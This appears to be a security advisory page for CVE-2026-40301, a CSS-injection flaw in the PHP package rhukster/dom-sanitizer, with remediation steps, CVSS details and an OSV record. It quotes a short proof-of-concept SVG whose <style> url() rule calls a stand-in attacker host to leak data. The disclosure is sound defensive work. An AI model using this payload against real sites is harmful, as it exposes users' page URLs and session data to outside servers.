CVE-2026-40301: rhukster/dom-sanitizer SVG <style> Tag Allows CSS Vulnerability

MODERATE
Advisory Identifier: GHSA-93vf-569f-22cq
CVSS 4.7
CWE-79
Published
Advisory Summary

CVE-2026-40301 is a MODERATE (CVSS 4.7) svg <style> tag allows css vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting rhukster/dom-sanitizer libraries in the Packagist ecosystem. The issue involves svg <style> tag allows css injection via unfiltered url() and @import directives. Remediation is available by upgrading affected packages to version 1.0.10.

CVE-2026-40301 at a Glance

CVE Identifier CVE-2026-40301
GHSA Identifier GHSA-93vf-569f-22cq
Severity MODERATE
CVSS v3.1 Base Score 4.7
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product rhukster/dom-sanitizer
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 4.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-40301

To remediate this vulnerability, upgrade all affected rhukster/dom-sanitizer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rhukster/dom-sanitizer fixed: 1.0.10
Upgrade rhukster/dom-sanitizer to 1.0.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for rhukster/dom-sanitizer

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40301, inspect your project dependencies for rhukster/dom-sanitizer:

inspect dependencies for rhukster/dom-sanitizer

Analyze the terminal output to locate any version of rhukster/dom-sanitizer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In rhukster/dom-sanitizer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. ### Details In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them. Vulnerable code (src/DOMSanitizer.php, line 31): ```php 'svg' => ['style', 'path', 'rect', 'circle', ...], ``` The following payload survives sanitize() intact: ```svg <svg xmlns="http://www.w3.org/2000/svg"> <style>* { background: url(https://attacker.example/collect); }</style> </svg> ``` ### PoC ```php <?php require 'vendor/autoload.php'; use Rhukster\DomSanitizer\DOMSanitizer; $svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/collect); }</style></svg>'; $sanitizer = new DOMSanitizer(DOMSanitizer::SVG); $output = $sanitizer->sanitize($svg); echo $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg) ``` Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect. ### Impact Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.

CVE-2026-40301 Affected rhukster/dom-sanitizer Versions

1 component(s)
Fixed Versions:
1.0.10
Product / Package Ecosystem Affected Versions Fixed Version
rhukster/dom-sanitizer
Packagist
< 1.0.10
1.0.10

References

Frequently Asked Questions

What is CVE-2026-40301?
CVE-2026-40301 is a security vulnerability in rhukster/dom-sanitizer involving SVG <style> tag allows CSS injection via unfiltered url() and @import directives under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which rhukster/dom-sanitizer versions are affected?
Affected versions include releases prior to 1.0.10 across affected packages: rhukster/dom-sanitizer.
What version fixes CVE-2026-40301?
Upgrading to 1.0.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rhukster/dom-sanitizer affected?
Yes, rhukster/dom-sanitizer is affected in releases prior to 1.0.10. Upgrade your dependency to 1.0.10 or later.
What is the CVSS score of CVE-2026-40301?
CVE-2026-40301 has a CVSS v3.1 base score of 4.7 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N.
What CWE is associated with CVE-2026-40301?
CVE-2026-40301 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-40301?
Run the dependency tree command: 'inspect dependencies for rhukster/dom-sanitizer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-93vf-569f-22cq",
  "modified" : "2026-04-24T20:48:42Z",
  "published" : "2026-04-10T21:08:30Z",
  "aliases" : [ "CVE-2026-40301" ],
  "summary" : "rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives",
  "details" : "### Summary\nDOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n<svg xmlns=\"http://www.w3.org/2000/svg\">\n  <style>* { background: url(https://attacker.example/collect); }</style>\n</svg>\n```\n\n### PoC\n```php\n<?php\nrequire 'vendor/autoload.php';\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = '<svg xmlns=\"http://www.w3.org/2000/svg\"><style>* { background: url(https://attacker.example/collect); }</style></svg>';\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer->sanitize($svg);\necho $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "rhukster/dom-sanitizer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40301"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rhukster/dom-sanitizer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rhukster/dom-sanitizer/releases/tag/1.0.10"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T21:08:30Z",
    "nvd_published_at" : "2026-04-17T21:16:34Z"
  }
}